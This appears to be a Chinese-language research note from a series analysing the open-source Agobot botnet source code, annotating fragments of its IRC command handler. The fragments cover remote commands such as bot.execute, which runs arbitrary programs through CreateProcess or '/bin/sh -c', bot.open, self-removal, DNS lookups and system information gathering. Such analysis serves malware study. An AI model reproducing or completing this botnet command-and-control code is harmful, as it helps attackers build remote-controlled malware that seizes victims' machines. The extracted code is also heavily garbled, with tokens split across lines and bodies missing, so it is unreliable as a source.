email:[email protected]
cinstaller
類分析完成,回到cbot類的分析 1、
cbot
::handlecommand
(cmessage
*pmsg
)函式 //
////函式功能:處理傳送來的由bot類負責處理的訊息
//引數:
cmessage *pmsg
接收到的訊息
//返回值:
處理成功返回true,否則返回false //
/bool
cbot
::handlecommand
(cmessage
*pmsg)
} //傳送處理的返回訊息到伺服器,引數1標識是否處於靜默狀態,引數2標識傳送模式
g_cmainctrl
.m_circ
.sendmsg
(pmsg
->
bsilent
, pmsg
->
bnotice
, "removing bot..."
, pmsg
->
sreplyto);
#ifdef
win32 if
(g_cmainctrl
.m_cbot
.as_enabled
.bvalue
) //★★這個變數的初始值是什麼呢,為什麼在這裡直接用了呢。
#endif
g_cmainctrl
.m_cinstaller
.uninstall
();
//解除安裝bot程式:生成刪除bot程式的批處理。
g_cmainctrl
.m_circ
.m_brunning
=false
;
//irc類中的執行狀態設定為false
g_cmainctrl
.m_brunning
=false
;//全域性變數中的執行狀態設定為false }
else
if(!
pmsg
->
scmd
.compare
("bot.execute"
)) //處理bot.execute指令, 命令格式.bot.execute 1 notepad.exe,其中1表示執行的次數,notepad.exe 要執行的檔案
else
//建立指定的程序 if
(!createprocess
(null
, stext
.str
(),
null
, null
, true
, normal_priority_class
| detached_process
, null
, null
, &sinfo
, &pinfo
))
#else
//在linux模式下,建立新的程序
cstring
scmdbuf;
scmdbuf
.format
("/bin/sh -c /"%s/""
, stext
.cstr
()); if
(system
(scmdbuf
.cstr
())==-1)
#endif
return
true;
} else
if(!
pmsg
->
scmd
.compare
("bot.open"
)) //處理open指令
cstring
stext;
stext
.assign
(&pmsg
->
schatstring
[pmsg
->
scmd
.getlength
()+2]);
bool
bret
=false;
#ifdef
win32
bret
=(int
)shellexecute
(0,
"open"
, stext
.cstr
(),
null
, null
, sw_show
)>=32;
//開啟指定的檔案
#else
bret
=system
(stext
.cstr
())>0;
//linux 平台中開啟某個程式。
#endif if
(bret
) //根據開啟檔案的成功與否,分別傳送不同的返回資訊
else
} else
if(!
pmsg
->
scmd
.compare
("bot.dns"
))
//處理dns指令
unsigned
long
addr
=inet_addr
(pmsg
->
schatstring
.token
(1,
" ").
cstr
());
//提取dns指令後的,字串,將其轉換成ip位址
if(addr
!=inaddr_none
) //字串為乙個ip位址,下面做的工作是通過ip 獲得他的網域名稱
} else
//如果轉換失敗,則可確定,後邊的字串是乙個網域名稱,則下面做的工作是根據網域名稱,來獲得ip位址
} if(!
phostent
) //如果phostent的值為null,說明無法獲得該dns的資訊
} else
if(!
pmsg
->
scmd
.compare
("bot.about"
)) //處理about指令,返回agobot相關的資訊
else
if(!
pmsg
->
scmd
.compare
("bot.id"
))
//返回botid的指令
else
if(!
pmsg
->
scmd
.compare
("bot.nick"
)) //返回bot的暱稱
else
if(!
pmsg
->
scmd
.compare
("bot.quit"
) || !
pmsg
->
scmd
.compare
("bot.die"
)) //處理bot推出指令
else
if(!
pmsg
->
scmd
.compare
("bot.sysinfo"
)) //獲得系統資訊
else
if(!
pmsg
->
scmd
.compare
("bot.longuptime"
))
cstring
suptime
=longuptime
(idays
);
//呼叫longuptime函式,具體該指令的功能需要進一步分析了該函式之後才能知道, if
(suptime
.compare(""
))
return
true;
} else
if(!
pmsg
->
scmd
.compare
("bot.status"))
else
if(!
pmsg
->
scmd
.compare
("bot.rndnick"
)) //修改暱稱的指令,這裡只是推測,該指令對整體不是很重要
else
if(!
pmsg
->
scmd
.compare
("bot.flushdns"
))
//重新整理本地的dns記錄
else
if(!
pmsg
->
scmd
.compare
("bot.secure"
)) //幫助檔案中沒有的內部指令
return
false;
}
AgoBot 殭屍網路研究筆記(一)
由於工作需要,著手分析乙個agobot的開源的程式,一些收穫或許和大家分享 email anzijin sina.com 1 源 分以下幾塊 agobot3 source agobot 主體源 重點分析這塊的 scanner source 程式內應該包含了乙個掃瞄器模組 ddos source 實現...
AgoBot 殭屍網路研究筆記(二)
email anzijin sina.com 1 main函式 1 10 agobot3 0.2.1 pre3 alpha debug on win32 starting up.2 10 debugging with debuglevel of 10.2 cconsdbg類 有四個成員函式分別是 其...
AgoBot 殭屍網路研究筆記(七)
最近工作比較忙沒有及時更新最近的分析結果,終於週末有點時間了,趕快補上 email anzijin sina.com 1 circ 類中的 init 成員函式 函式功能 circ類的初始化函式,為bot新增irc相關的處理函式 引數 無 返回值 void void circ init 2 bool ...